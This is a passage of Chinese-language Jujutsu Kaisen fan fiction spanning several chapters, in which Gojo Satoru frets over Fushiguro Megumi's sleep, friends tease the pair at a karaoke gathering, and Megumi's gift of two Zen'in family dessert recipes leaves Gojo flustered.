“不是睡不着,惠不失眠。”五条悟皱眉思索着,“也不像是做噩梦,也不是睡得太轻,有时候我有动静,惠也没有醒。” 正习惯性写病历的家入硝子笔尖一顿:“你和惠住一间房?” “原本是两间,但是津美纪放假了嘛!”五条悟不以为意地说,“惠和津美纪说回琦玉,那边都很久没住人了,津美纪放完冬假就回名古屋了,根本没必要收拾。津美纪在惠的房间暂住,惠就搬到我这里来了。”他庆幸地说,“要不然这样,我还发现不了惠睡得不好!” 家入硝子无语地看着他:“你就没想过,惠可能是跟你睡一间才睡不踏实的?!” “怎么可能?!”五条悟说,“我以前也是跟惠睡一间屋的。” “那都是多久之前了?”家入硝子说,“惠君在禅院家肯定是一个人住的吧?” 五条悟面露思虑。 家入硝子说:“说不定等搬回去自己住就没事了。” 五条悟得出结论:“都是禅院家的错。” 家入硝子吐槽道:“你这两年不管是什么牵扯到惠君都会得出同一个结论。” “难道我说错了吗?”家入硝子好笑地摇了摇头,“你别忘了现在的禅院家是真希当家,你别把她弄得焦头烂额的。” 五条悟一本正经地问:“我是这么小气的人吗?” 家入硝子不客气地反问:“你不是吗?” 五条悟把两条大长腿一横:“我要报复禅院家,早就报复了,还会等到今天?!” “之前不是因为惠君是禅院家主吗?”家入硝子抽了根烟含在嘴里,含含糊糊地说。 “我也不会拆真希的台啊!”五条悟看着她,“你不是又戒烟了吗?” “嗯,戒烟糖。”家入硝子含了一嘴的甜,“要吗?” 五条悟伸手。 家入硝子扔了一根过去。 五条悟把香烟形状的糖放进嘴里,觉得味道有点淡:“你不是天天说吃太多甜的会蛀牙吗?” 家入硝子说:“你都还没事,我这点量算什么?” 两个人一人含着一根糖,家入硝子先吃的,但五条悟吃糖的速度比她快多了。 家入硝子看了他一眼:“你这是糖还是磨牙棒?” “不太好吃。”五条悟用牙把香烟糖嚼碎了咽下去,“太淡了。” “本来就不是为了吃糖。”家入硝子说,“你要是还担心惠让他睡前喝杯牛奶或者泡泡澡,有助于睡眠。” 五条悟舔了舔嘴唇,比了个“OK”的手势,然后问:“我偏心得这么明显吗?” “什么?”家入硝子微微一愣,“你说惠君和真希?” 五条悟懒洋洋地声明道:“先说,我在正事上还是很有分寸的。” “没说你没分寸。”家入硝子说,“不过我听说你最近合作的时候脾气不太好。” 五条悟困惑地说:“没有吧,真希也是刚上位,还有些不熟练是正常的,我也没发脾气。” “等你发脾气就不是听说了。”家入硝子说,“只是捕风捉影,估计禅院家还是有人想让惠君回来。” “他们想得美!”五条悟嗤之以鼻地说,“最近的合作确实有点别扭,但真希刚成为家主,情有可原。” “也不只是真希的问题吧。”家入硝子一针见血地说,“也许只是真希没有惠那么惯着你了。” “什么?!”五条悟奇怪地看着她,“惠?我?” 家入硝子说:“合作会议永远迁就你的时间,会议纪要全都按照你的习惯划重点,连会议室里的点心都是你爱吃的。” “……有吗?”五条悟抬手挡住脸,似乎在回忆。 “有没有你自己还不知道吗?”家入硝子好笑地说,“真希可不会这么惯着你了,慢慢习惯新的合作节奏吧。” 五条悟晕晕乎乎地从家入硝子的办公室出来,坐车回家。 伊地知洁高开着车,小心翼翼地看着后座上的五条悟,觉得他今天的心情格外不对劲。 他在等红灯的时候拿出手机。 “伊地知。” 听到五条悟的声音,正在偷偷给伏黑惠发邮件的伊地知洁高一惊,“是!五条先生?” 五条悟靠在车子后座上,眼睛被眼罩挡住,不知道他在看哪儿,欲言又止地说:“你觉得惠……” 伊地知洁高飞快垂眸扫了一眼自己的手机,紧张地咽了口口水:“惠君怎么了?” 五条悟问:“你觉得我最近脾气怎么样?” 伊地知洁高莫名其妙地说:“您最近脾气很好。” 最近因为惠君也住在这里,他每次来接五条悟的时候,对方的心情都很好,发脾气的时候也少多了。 五条悟打了个响指:“我就说嘛!” 他最近脾气很好=说他最近脾气差都是谣言=他没有因为脾气差影响合作=惠没有惯着他。 五条悟不管这个逻辑是不是有问题,但他心里没问题了:“回家!” “是。”伊地知洁高不明所以地问,“直接回公寓吗?您之前让订的汤……” “先顺路去拿汤啊!”五条悟嫌弃地说,“伊地知,你好死板!” 伊地知洁高乖乖闭上了嘴。 五条悟虽然很少做饭,但是在厨艺上也是最强的,不过煲汤这种浪费时间的菜肴不在他的菜谱之内。 最近伏黑惠睡眠不好,五条悟就找了一家号称‘养生药膳’的老字号定了个餐,现在正好去取。 不说伏黑惠和津美纪看到这桌药膳是什么反应,最起码五条悟的手艺还是很受两人欢迎的。 “惠~”五条悟猫猫祟祟地从伏黑惠身后冒出来,像是雨后墙边突然长出来的蘑菇。 “您干什么?!”伏黑惠吓了一跳,映在墙面地面上的影子无风而动,差点糊了五条悟一脸。 五条悟平躺在大床上,滚来滚去,哼哼唧唧。 伏黑惠:??? 他迷惑地看着五条悟的迷惑行为:“悟先生,你要是很闲……” “我才没有!”五条悟抗议道,“我明明很忙!” “都这么忙了,您还不休息吗?”伏黑惠看着精神充沛的五条悟,叹了口气。 五条悟把脸从枕头里拔出来,看了伏黑惠一眼,又看了伏黑惠一眼。 “您到底有什么事?”伏黑惠纳闷地问,“今天出门遇到了什么事吗?您从回来的时候就怪怪的。” “有吗?”五条悟下意识摸了摸脸。 伏黑惠冷静地说:“有,所以您想说吗?不说的话,我要睡觉了。” 五条悟欲言又止、止言又欲,最后满脸纠结地问了一个普通问题:“惠这两天都睡不好是因为跟我一起睡吗?” 伏黑惠说:“我没有睡得不好。” “有。”五条悟肯定地说,“惠睡觉的时候眉头都是皱着的。” 伏黑惠沉默了片刻,无语地说:“……您晚上不睡觉盯着我看做什么?” “惠不要转移话题,要不是这样我还发现不了!”五条悟关心地问,“惠有心事吗?” 第64章 “没有。”伏黑惠说。 “回答得太快了, 肯定在说谎。”五条悟犀利地说,他叹了口气,可怜巴巴地说, “惠现在有心事都不告诉我了……” 说得好像我以前会告诉您一样。伏黑惠腹诽道。 五条悟看着低头不说话的伏黑惠, 猜测道:“是不是禅院家又来找你了?” 伏黑惠说:“没有,他们来找我,您肯定会知道的。” “那是因为入学考试?”五条悟问, “考试太难了吗?需要请家教吗?” 伏黑惠冷静地说:“还好。虽然之前缺了一些课但是考试还跟得上。” “那惠是因为什么不高兴?”五条悟困惑地问, 他趴下来,从下往上去看伏黑惠的脸色, “跟我待在一起不开心吗?” “没有不开心。”伏黑惠看着眼前突然出现的脸, 无奈地说, “您才是那个一口咬定我有心事的人。” 五条悟说:“因为惠这几天睡得不安稳。” “所以您为什么不睡觉, 反而要盯着我看?”伏黑惠反问, “失眠的不是您吗?” 五条悟说:“我没有失眠。” 伏黑惠说:“我也没有心事。” 两个人对视了一会儿。 伏黑惠说:“真的没有。” 五条悟用‘我不信,惠说谎骗我, 我好难过’的眼神看着他。 伏黑惠:…… 他烦躁地说:“那您先说,您为什么失眠?” 五条悟无辜地说:“我只是睡得少。” 伏黑惠闻言皱起了眉:“您又每天只睡三个小时?最近有什么事?” 在伏黑惠回忆的时候, 五条悟眨了眨眼睛:“没有啊, 我只是睡饱了又不想起床。现在该惠说了。” 伏黑惠想了想:“有没有可能, 我只是正常做梦。” 五条悟问:“梦见什么了?” 伏黑惠说:“不记得, 但是白天精神还好,应该不是噩梦。” 五条悟盯着他看了一会儿, 像是接受了这个解释:“好吧,硝子说每天晚上喝一杯牛奶再睡觉对睡眠好,以后惠每天睡前记得喝一杯。” 伏黑惠问:“您也一起吗?” “欸?惠需要我陪吗?”五条悟故作为难,没等伏黑惠回答就接着说, “那好吧,我陪惠一起喝。” 伏黑惠:……随便您吧。 他说:“那我明天去买牛奶。” “订两份好了。”五条悟说,“我记得之前管理员好像说过可以订牛奶。” “我知道了。”伏黑惠说,“您明天还有工作吧,早点睡。” 五条悟满意地倒回床上,然后翻来覆去、翻来覆去、翻来覆去…… 伏黑惠:“……悟先生,失眠不是丢脸的事,可以直接承认的。” “……我之前真的没有失眠!”五条悟抱着被子转过来,无辜又真诚地看着伏黑惠。 伏黑惠打了个哈欠:“那您今天怎么突然失眠了?” 五条悟闭嘴了。 他也不想啊,都怪硝子! 伏黑惠没听到回答,眉头微蹙,疑惑地看向五条悟:“悟先生?” 五条悟把脸埋进枕头里:“都怪硝子!” 伏黑惠满头问号:“家入小姐怎么了?” “硝子没事。”五条悟把脸拔出来,目光炯炯地看着伏黑惠,“惠~” 伏黑惠听到五条悟的语调,下意识地警惕起来:“什么?” “惠……”五条悟的问题在口中转了转,出来的时候就变了个样子,“惠不会还在挂心禅院家的事吧?” “禅院家有真希前辈应该不会出大事吧?”伏黑惠问,“禅院家出事了?” 五条悟轻描淡写地说:“没有,就是最近合作的时候稍微有点不习惯。” 他用手指比了一个‘一点点’的手势,表示真的是稍微。他只是想试探一下惠,不是想让惠又跑到禅院家去。 “不习惯?”伏黑惠惊讶地说,“怎么会?真希前辈应该还是按照我们商量好的计划继续执行的。” “也说不上哪里不习惯。”五条悟欲言又止地说,他没有套话的经验,看起来十分纠结。 伏黑惠疑惑地看着他,自己发挥联想能力:“是禅院家的人不听话了?” 五条悟嗤笑一声:“他们敢在我面前不听话!” 伏黑惠接着问:“那是会议太长耽误您时间了?” 他记得会议超出一定时间,五条悟就会变得不耐烦,好吃的甜点心可以有效缓解他的不耐烦。 五条悟抓住了重点,点了点头:“对,有时候有事冲突了让他们先开会,等我到了还是满嘴废话。” 伏黑惠懂了:“那您下次没空让伊地知先生去帮忙记一下会议重点就行,也不用每次都去。其实有的会就是很无聊,一次两次根本商量不出什么结果。” 一般这种会他会直接告诉五条悟来不来都行,等会议结束后发一份会议纪要给他就行。 五条悟问:“惠以前是怎么把会议跟我的行程都岔开的?” 伏黑惠理所当然地说:“根据你的行程安排会议啊。” “欸~”五条悟眼睛亮亮地说,“惠这么偏心我啊!” 伏黑惠莫名其妙地看着他:“悟先生这么忙,肯定要先考虑你的行程啊!这跟偏不偏心有什么关系?” 五条悟盯着他,说:“那开会的时候的点心……” 伏黑惠问:“您想吃吗?我可以找真希前辈要食谱,只是两道点心,应该没问题。” 五条悟说:“还有会议纪要,以前的都是惠自己总结完发给我的吧。” 如果是禅院家其他人做的,惠只要让他跟真希说就行了,不会特意点出可以让伊地知来做。 伏黑惠说:“我自己本来就要留底,给您发一份又不耽误时间。” 五条悟看着伏黑惠理所当然的样子,犹豫不定:好像真的在被惠惯着,但又好像没有。 伏黑惠还在奇怪地看着五条悟:“您到底想问什么?” “……没有了。”五条悟干巴巴地说,“惠也不要再想禅院家的事了。” 伏黑惠说:“我知道,最近都在复习,没时间想他们。” 五条悟果断地说:“有时间也不用想!惠有空多想我就行了!” “想您什么?”伏黑惠怎么看五条悟怎么觉得他奇怪,“悟先生,您今天到底怎么了?” “没事了,睡觉吧,我困了。”五条悟躺回床上,把还要说什么的伏黑惠也按住,“好了,惠,快睡觉觉了!你再不睡,悟先生要给你唱摇篮曲了!” 伏黑惠闭上了眼睛。 五条悟戳了戳他的脸颊:“也不用这么不给面子吧,悟先生的摇篮曲唱得很差劲吗?” 伏黑惠闭着眼睛说:“您唱得很好,但我不想听。” 五条悟不甘心地问:“为什么?” “必须要听摇篮曲才能睡觉是不好的习惯。”伏黑惠说,“而且我没有这样的习惯。” “胡说!”五条悟立刻指出,“以前我也给惠唱过。” “偶尔一次不叫习惯!”伏黑惠发火了,“您到底睡不睡了?!” 五条悟乖乖闭上了嘴。盯着伏黑惠的睫毛看了一会儿后,他小声说:“惠喜欢我的摇篮曲,我可以录音发给惠哦。” 伏黑惠的睫毛颤了颤。他无奈地叹了口气,很有耐心地说:“悟先生,我已经成年了。” 五条悟嘟嘟囔囔地说:“成年了也可以听。” 伏黑惠可以已经在心里揍了五条悟一百次。他息事宁人地说:“您要是喜欢唱歌,唱什么都可以发给我,如果哪天我睡不着,我会听的。” “好耶!”五条悟高兴了,他兴致勃勃地说,“下次我们去KTV的时候录吧,我们很久没有一起去KTV了!” “好。”伏黑惠答应的时候都没听清五条悟在说什么,他从某人久违的胡搅蛮缠中感受到了汹涌的睡意,答应完之后就睡了过去。 五条悟给伏黑惠掖了掖被子,在手机上给自己上了个备忘录,把去KTV的时间定在伏黑惠升学考试之后,正好庆祝一下。 他根本没有伏黑惠考不上的预估。伏黑惠也不负所望,三个月的突击复习效果斐然。虽然没出成绩,但能考多少分不是做完卷子之后就能知道的吗? 面试更不用担心,警视厅和警察厅听说伏黑惠要考东大都像是打了鸡血,说不定笔试成绩不够都要破格录取。 这点是禅院真希透露的。 五条悟的KTV之旅邀请了东京校还没毕业的学生们。日本高中学制三年,东京高专学制四年,导致伏黑惠都考完升学考试了,大他一届的禅院真希他们还没毕业。 禅院真希、Panda、虎杖悠仁和钉崎野蔷薇都来了,乙骨忧太因为又双叒叕出国出差了缺席。 涉谷事变导致东京的学校招生都中断了一年,东京高专也不例外。 隔了一届的学弟妹们和伏黑惠就不是很熟了,这次聚会也没有来。 钉崎野蔷薇在绚丽的彩灯下举杯,跟所有人吐槽道:“谁会在KTV里办升学宴啊?!这种时候就应该大吃特吃,狠狠敲诈他一顿!” 这个‘他’的指向十分明显。 “就是啊,太小气了,悟!”禅院真希跟着添油加醋,“惠,你要是受委屈了就回来,禅院家不缺这点钱!” “只是聚一聚而已,惠的升学宴等拿到录取通知书再办。”五条悟说,“要是以后真希和野蔷薇考上大学,想在哪里开升学宴可以随你挑!” “我才不要接着上学!”钉崎野蔷薇豪情万丈地说,“我现在财富自由,想买什么买什么,上学干什么?!” 禅院真希也说:“我上学干什么?让那群混蛋有机会从我手里夺权?!” 作者有话说:悟惠都很偏心,悟是‘对啊,我就是偏心怎么样?’,惠是‘我没偏心啊,这不是应该的吗?’ 第65章 “也可以用更高级的知识打败他们嘛!”五条悟不只是对禅院真希说, “大家要是有想去考大学的,老师都支持哦!” 众位东京高专的咒术师面面相觑一会儿,纷纷假笑着拒绝。 虎杖悠仁连连摆手:“不用了不用了!没那么热爱学习。” 禅院真希表示:“我都是咒术师了为什么还要上学?” 钉崎野蔷薇现实地说:“上学也是为了上班赚钱, 已经能赚钱了为什么还要上学?” Panda认为自己的理由十分充分:“熊猫不能上学。” 伏黑惠作为东大的准入学生, 坐在这里似乎跟一群学渣格格不入。 五条悟唉声叹气地指指点点:“你们怎么一点儿上进心都没有!” 众人看着他,钉崎野蔷薇吐槽道:“好像你有多喜欢上学一样!” Panda犀利指出:“悟你自己不是也没上大学。” 五条悟理直气壮地说:“我是因为太忙了!” 钉崎野蔷薇代表大家发出质问:“都是咒术师,谁比谁清闲啊?!” 伏黑惠说:“悟先生是真的很忙。” “是是是, 你自己不是也挺忙的。”钉崎野蔷薇说, “一边做禅院家主还要一边考大学。” 伏黑惠说:“我出去祓除咒灵的时间很少,但是悟先生不一样。” “惠, 你自己其实也很忙了。”Panda说, “真希跟我们吐槽过, 你在禅院家一天到晚都没有空闲。” 五条悟支棱起来了:“我怎么不知道?真希你怎么不告诉我?我不是跟你说, 要是发现禅院家欺负惠一定要告诉我的吗?!” 伏黑惠试图插话:“禅院家没有欺负我。” “惠你先别说话!”五条悟目光炯炯地看着禅院真希。 “跟你说有什么用?到时候你来禅院家闹事, 还得惠安抚你。”禅院真希已经看透这两个人的相处方式了,“怪不得当初家入老师说, 是惠把你带大的。” “诶?硝子是这么说的吗?!”五条悟不服气地说,“我做监护人还是合格的吧?!”他看向伏黑惠, “惠~” 伏黑惠点头:“悟先生做得很好。” 五条悟得意地翘尾巴:“听到了没?惠说了, 我做得很好!” 其他人纷纷斜眼看他们, 脑袋聚在一起窃窃私语。 Panda震撼地捧脸:“悟刚才是……撒娇了吧?” 虎杖悠仁郑重地点头赞同:“绝对是撒娇了!” 钉崎野蔷薇摸着胳膊上的鸡皮疙瘩:“一个三十多岁的大男人, 好恶心啊!” Panda感慨地说:“真希说悟会对惠撒娇,我一开始还不相信。” 钉崎野蔷薇感慨地看向伏黑惠:“伏黑真辛苦啊!” 禅院真希吐槽道:“我看他挺乐在其中的。” 另一边, 五条悟和伏黑惠正在纠缠‘禅院家到底有没有故意欺负人’这个老生常谈的问题。 “没有,真的没有。”伏黑惠自认为也是个挺不好惹的人,不明白为什么自己在五条悟眼里只有被欺负的份。 “真的没有吗?”五条悟依旧半信半疑,在他眼里惠成为禅院家主就是禅院家强取豪夺, 那自然后面在禅院家发生的任何事都属于欺负的一部分。 伏黑惠忍无可忍:“悟先生,您很啰嗦。” 五条悟惊诧地张大了嘴,不可置信地说:“惠居然嫌弃我啰嗦!” 伏黑惠心累地说:“没有嫌弃您,只是不想再谈这个话题了。” 五条悟强调道:“但我们根本没好好谈过!” 这次轮到伏黑惠惊讶地看着他:“我们都已经重复了很多次了……” 五条悟说:“但惠从来都没有跟我好好地、详细地说过在禅院家的事。” 伏黑惠无奈地说:“没什么可说的。” 五条悟很急:“真希都说了你在禅院家超级忙!” “没有您忙!”伏黑惠说,“真希前辈什么都没有说,是您想得太多了!” “我想得太多了?!”五条悟表示不接受这个指控,“分明是惠太不在意自己了!” 两个人争辩半晌未果,一同转头看向禅院真希。 “真希。” “真希前辈。” 禅院真希一脸冷漠地看着他们:“你们还记得有别人在啊!叫我们来就是为了让我们看你们吵架吗?” Panda脸上的表情一言难尽:“你管这叫吵架吗,真希?” 钉崎野蔷薇吐槽道:“根本就是在秀恩爱。” “诶?!”虎杖悠仁和伏黑惠一起睁大了双眼,呆萌地看着他们。 五条悟倒是很镇定,翘着脚对着他们指指点点:“真希,你的思想都被那群烂橘子污染了,快洗洗脑子!” 禅院真希无语地说:“我根本什么都没说吧!你是不是找不到背锅的人就病急乱投医?” “噗嗤!”其他人幸灾乐祸地笑了起来,空气中充满了快乐的气息,甚至包括伏黑惠。 五条悟说:“惠不应该是我这边的吗?” 禅院真希说:“很明显惠是我这边的。” 伏黑惠:谢邀,我想站中间。 但是幼稚的老师和前辈们不允许端水,一定要分出胜负。 伏黑惠左边看看五条悟,右边看看禅院真希,面前还有三个等着看热闹的Panda、虎杖悠仁和钉崎野蔷薇。他不由得产生了怀疑,他今天为什么要过来? 伏黑惠:“……你们不唱歌了吗?” “那个不重要!”禅院真希气势汹汹地看着伏黑惠,誓要为自己在禅院家被闪瞎的眼睛讨回公道。她晓之以理动之以情:“惠,你忘记我们在禅院家共同奋斗的情谊了吗?” 伏黑惠为难地说:“但我已经不是禅院家的人了。” “耶!”五条悟欢呼着胜利。 禅院真希翻了个白眼:“我就知道!” 伏黑惠心累地看着他们:“你们要是不唱歌,我们就走吧。” “唱歌!怎么能不唱呢?!”获得了胜利的五条悟兴奋地说,“我还要唱歌录下来给惠睡前听!” “噫!”钉崎野蔷薇嫌弃地看着他们,“你们好肉麻啊!” 虎杖悠仁缓缓接受事实:“原来伏黑和五条老师真的是……” “不是!”伏黑惠看上去有一点点崩溃。 五条悟一脸难以置信地看着伏黑惠:“惠要对我始乱终弃了吗?” 伏黑惠抓狂地说:“请您不要捣乱了!” 钉崎野蔷薇再次感慨道:“伏黑真的好惨!” 虎杖悠仁说:“但我觉得你看得挺开心的啊,钉崎。” “你闭嘴!”钉崎野蔷薇用手肘戳了他的腹肌,“我发现你跟两面宿傩被分开之后变得迟钝了!” 虎杖悠仁紧张地问:“真的吗?” 钉崎野蔷薇面无表情地说:“假的。” 虎杖悠仁松了口气:“钉崎真过分,居然吓唬人!” 伏黑惠默默地看向他:有比对他过分吗? 那好像还是调侃伏黑调侃得更过分一点。虎杖悠仁乖巧闭嘴。 除去上面这些小插曲,这场KTV之旅还算比较顺利,包厢里的鬼哭狼嚎和天籁之音交替响起。 虎杖悠仁和钉崎野蔷薇表示不敢相信五条悟唱歌居然这么好听! 五条悟自豪地说:“我做什么都是最强的!” 虎杖悠仁捧场地热烈鼓掌:“怪不得五条老师说要录下来给伏黑听,原来真的很好听!” 伏黑惠:…… 其他人:“天然黑真可怕!” 在被迫害对象忍无可忍掀桌之前,这场热闹的聚会终于落下了帷幕。两个人还借此进行了幕后交易。 禅院真希从兜里掏出两张纸递给伏黑惠:“给,菜谱。” 伏黑惠把折好的纸打开看了一眼又收好,感激地说:“麻烦真希前辈了。” 禅院真希吐槽道:“是挺麻烦的,这点心就非吃不可吗?” “悟先生特意提到了,应该是很喜欢吃。”伏黑惠纳闷地问,“很麻烦吗?” 禅院真希幸灾乐祸地说:“这可是禅院家家传的菜谱。” 伏黑惠疑惑地说:“禅院家的家族产业里没有餐厅啊?” 禅院真希说:“家族特色菜懂不懂?那些老橘子就喜欢用这种东西彰显身份,没劲透了!” 伏黑惠有点无语,但还是贴心地问:“那这个需要用五条家的菜谱来换吗?” “不用了。”禅院真希大手一挥,“算他们倒霉!就当是这两年给你的报酬了——只要这么点东西,你还吃亏了!” 伏黑惠关心地确认道:“真的没问题吗?” “没问题,说白了也只是菜谱而已。”禅院真希说,“要是以后他还想要别的就没戏了。” 伏黑惠下意识否认道:“这是我要的。” 禅院真希呵呵道:“是是是,你要的,虽然你根本就不爱吃甜食。” 第66章 回到家里之后, 伏黑惠从冰箱里拿出牛奶,又从柜子里拿出小奶锅开始热牛奶。 五条悟猫猫祟祟地在厨房门口探头,看着伏黑惠的背影。 伏黑惠专心地看着奶锅里的牛奶, 先倒出一杯之后, 又往锅里加了一些蜂蜜,搅拌化开,才倒到另一个杯子里。 五条悟接过蜂蜜牛奶, 甜丝丝的味道在唇齿间融化, 让人连身带心都软乎乎的。 “惠跟真希说什么了?该不会是让她瞒着我禅院家的事吧?”五条悟穿着T恤和休闲裤,靠在厨房的门框上, 像是个拍牛奶广告的男模。 “没有这回事, 我为什么要隐瞒您禅院家的事?”伏黑惠有点心累地叹了口气, 牛奶的杯壁上浮现出一块水雾。他从衣兜里摸出刚刚从禅院真希那里拿来的菜谱递给五条悟:“本来就是打算给您的。” 五条悟接过那叠纸, 好奇地打开看了一眼:“这是什么?” “您喜欢的那两道点心的菜谱。”伏黑惠轻描淡写地说, “我麻烦真希前辈帮忙要来的。” 五条悟目瞪口呆地看着他,突然着急地问:“惠用什么换来的?!禅院家那些人有没有提什么过分的要求?不过分也不行!两道点心而已, 谁家里还没有几道菜谱,大不了我让五条家……” “没用什么。”伏黑惠打断了五条悟的话。他看着五条悟的神情, 知道这么说他不会放心, 于是拿出了禅院真希给的理由:“就当是这两年我做家主的报酬了。” 五条悟先是微微松了口气, 但是一口气没松完就又开始生气:“惠给他们做了两年家主, 他们就用两张菜谱打发惠,看我去……” “菜谱是我特意要的。”伏黑惠无所谓地说, “我也没什么其他想要的,以后也不想跟他们再有什么交集。” 五条悟被伏黑惠的后半句话顺毛了:“那他们也不能这么随便打发惠……”他低头看了看手上的菜谱,轻飘飘的纸张突然有了别样的重量,让他难得有些不好意思, “我只是随口一说。” 伏黑惠有点惊讶地看着他:“您不是很喜欢吃这两种点心吗?” 五条悟脱口而出:“惠怎么知道我很喜欢?” 伏黑惠有理有据地说:“您每次开会的时候这两种点心都是吃得最多的。” 五条悟不由自主地绽开一个笑容:“开会的时候,惠不专心听他们说话,天天盯着我看干什么?” 伏黑惠完全抓错重点:“您也没专心听他们说话啊!” 五条悟:…… 伏黑惠自觉今天该做的事和该说的话都结束了,把手里的牛奶喝完之后就准备回屋洗漱睡觉,离开之前还不忘提醒心不在焉的五条悟:“牛奶凉了就不好喝了,悟先生喝完牛奶也快点休息吧。” “好。”五条悟下意识答应一声,把剩下的半杯牛奶一饮而尽,看着伏黑惠走回房间。 伏黑惠无知无觉地关上房门,回身关门跟五条悟对上目光那一刻还很礼貌地说:“悟先生晚安。” “晚安,小惠。”五条悟心乱如麻地跟伏黑惠说晚安,觉得今天的牛奶真的好甜啊,甜得他心里像是过电一样麻酥酥的! 关门声响起,五条悟低下头看着手里已经空了的牛奶杯,心神恍惚地走回厨房,按照习惯把杯子冲洗了一下放进洗碗机,自己又恍恍惚惚地走出厨房,在客厅里坐下了。 身高超过一米九的男人像是一只融化的大猫一样瘫进沙发里,从旁边摸出毯子给自己裹上,打开了电视机。 但电视上播出的节目如同彩色的背景音,完全无法进入五条悟已经乱成毛线团的大脑。 明明今天晚上滴酒未沾,五条悟却有一种喝多了的微醺。他的手上拿着那两张单薄的菜谱,轻柔得像是在抚摸一份情书。 五条悟打开菜谱看了一眼,又看了一眼,美滋滋地收进怀里又拿出来,不知道怎么宝贝是好。最后,他郑重地拿出手机,从各个角度给两张菜谱进行了二十连拍,保证每一条折痕都清清楚楚地记录在照片上,才把两张菜谱收起来。 明天这两张点心的制作方法就会出现在五条家的家传菜谱里,写着禅院家主赠送的字样,成为五条家的珍藏。 五条悟口中还残留着蜂蜜牛奶的甜蜜。 他给自己倒了杯水,突然想到虽然睡前一杯牛奶是他提议的,但是订牛奶的是伏黑惠,每天记得取牛奶和热牛奶的也是伏黑惠。 这么想一想,不免想到更多。惠一直都是这样,外表看着冷淡,很多照顾都是润物细无声。 硝子说是惠把他带大的也没错,五条悟在养了小孩之后的确学到了很多原本不在意的东西。 他喜欢跟惠和津美纪待在一起。咒术界需要的是‘最强’,只有惠和津美纪需要的是五条悟。 没有咒灵、没有咒术师,只有两个会对他说“欢迎回家”,关心他喜欢什么的小孩——这是五条悟的乌托邦。 大概没有咒术师能想象到咒术界的“六眼”和“十影”并排跪坐,挨一个普通人小女孩的训斥的一幕。 他记得那次是因为他带着惠一起吃冰激凌,结果高估了小孩子的身体状况,结果直接把小孩送进了医院。 五条悟又急又悔,从来没养过小孩的大猩猩这才知道小孩的身体有多脆弱。最后还是小小的伏黑惠手背上扎着滞留针,心平气和地安慰五条悟,说是他自己没有拒绝,不怪五条先生。 五条悟看着伏黑惠手背上被扎出来的淤青,回去就给手机上下载了一系列育儿书籍苦读,也学会了对小朋友察言观色,免得小孩不好意思拒绝他,只能伤害自己。 然后…… 两个小孩一年一年长大,五条悟看着他们心也越来越软,什么咒术师、禅院家、「十种影法术」……都被抛到了脑后,只要惠和津美纪过得好就行了,其他的麻烦都有他处理。 但他没能处理好。五条悟从「狱门疆」中出来,得知伏黑惠成为了禅院家主的那一刻堪称急火攻心。 随后咒术界的乱子和伏黑惠本人的意愿如同涓涓细流压制着五条悟燃烧的怒火,但一直没能熄灭。 惠留在禅院家是因为他。——这是五条悟无法接受的事实。 无论视频得多么频繁也无法抹去五条悟看到伏黑惠穿着禅院家的衣服的焦躁。 直到伏黑惠彻底回到他身边。 惠长大了。 这是五条悟在两年的共事时间里细水长流认识到的事实,不管是合作还是处理禅院家的事务,伏黑惠都做得很好,不然就算是「十种影法术」也不可能一直压着禅院家的人做主。 惠长大了,但不是在他身边。 五条悟郁闷地唉声叹气,看什么都觉得不顺眼,也就天天和惠打打视频才能坚持下去。 惠终于回来了,果然我才是惠最重要的人……之一。 好耶!五条悟高高兴兴地把已经成年的小朋友接回家,每天任务结束后就归心似箭地回家。 惠好像不止长大了,还学会撩人了。 五条悟抬手把菜谱盖到脸上,愉快地吹了口气,接住在空中飘的菜谱放到旁边的茶几上,转身把脸迈进抱枕里蹭了蹭,只露出两只红红的耳朵。 伏黑惠:…… 他看着五条悟在沙发上拱来拱去,犹豫地问:“悟先生,您还好吗?” 他记得今天五条悟没喝酒啊,难道是五条悟偷喝了,他没看见? 五条悟腾得一下坐起来,抬手捋过自己的头发进行简单的梳理,若无其事地看向伏黑惠:“惠,你不是睡觉了吗?” “我看到客厅的灯一直亮着。”伏黑惠看到五条悟的脸色,皱了皱眉,朝着他走过来,“您今天喝酒了吗?” “我没有啊!”五条悟低头用玻璃茶几照了一下自己,看到了一张红彤彤的脸。 五条悟:…… 伏黑惠已经走到了他面前,伸手用手背去贴他的额头,担心地问:“难道是生病了吗?” 柔软的手背贴上五条悟的额头,带来的凉意在升温的情况下愈发明显,五条悟一个激灵,本能地往后仰了一下。 伏黑惠愕然地看着他。 五条悟张嘴想要解释:“那个,惠,我不是……” 伏黑惠却已经率先动作:“您别动!”他抓住五条悟的肩膀不让他跑,再一次触碰他的额头测试体温。 这一次因为两只手都抓着五条悟,伏黑惠直接用自己的额头贴了上去。 五条悟坐在原地,感觉自己脸上的温度又上升了一个level。所以他看到伏黑惠脸上恼怒的表情也不意外,惠肯定会是以为他真的病了。 五条悟徒劳地辩解道:“我没生病……” 伏黑惠怀疑地看着他:“您是不是不想吃药?” 五条悟说:“我真的没生病。” 伏黑惠一针见血地问:“那您为什么脸这么红?” 五条悟张了张嘴,无言以对。难道他告诉惠他被惠要来的两张菜谱感动得血气上涌? 伏黑惠看他心虚的表情,对这个大龄儿童翻了个白眼:“温度不是很高,您要是不想吃药就多喝水多休息。我一会儿联系伊地知先生,看能不能把您明天的任务挪一挪。” 他去电视柜下面的药箱里找出个退烧贴,三下五除二地贴到五条悟脑门上。 “啪!”地一声。五条悟像是被他一巴掌拍懵了的猫,稀里糊涂地被人从客厅轰回卧室,赶回床上躺好。 伏黑惠给他掖好被子,看他脸上的红色退了不少,也放下了心,随手在他床头柜上放了杯水:“睡吧。” 五条悟在伏黑惠的注视下闭上了眼睛。 第67章 五条悟原本以为自己被伏黑惠盯着看会失眠, 结果发现睡得比哪天都好。第二天醒过来的时候还恍恍惚惚,看到旁边的伏黑惠以为自己还在梦中:“惠~” 伏黑惠合上手里的书,抬头看向他:“怎么了, 悟先生?” 五条悟腾得一下坐了起来, 彻底清醒了:“惠?!” 坐在旁边椅子上的伏黑惠困惑地看着他:“我在,您还有哪里不舒服吗?” 五条悟震惊地看了看他,又看了看自己床边的椅子:“惠你不会在这里坐了一晚上吧?!” “没有, 我睡醒才过来的。”伏黑惠指了指五条悟的额头, 说,“退烧贴不能超过八小时, 我来换一个。” 五条悟抬手摸了摸额头上冰冰凉凉的退烧贴。 八小时…… 他惊讶地说:“我睡了多久?!” 伏黑惠看了一眼时间:“快中午了, 您再不睡醒, 我也要叫您起来吃饭了。”他关心地看着五条悟, “烧好像已经退了, 您还有哪里不舒服吗?是不是最近太累了?” “没有,可能是太高兴了。”五条悟在枕头旁边摸来摸去, 伏黑惠把床头柜上的手机递给他。 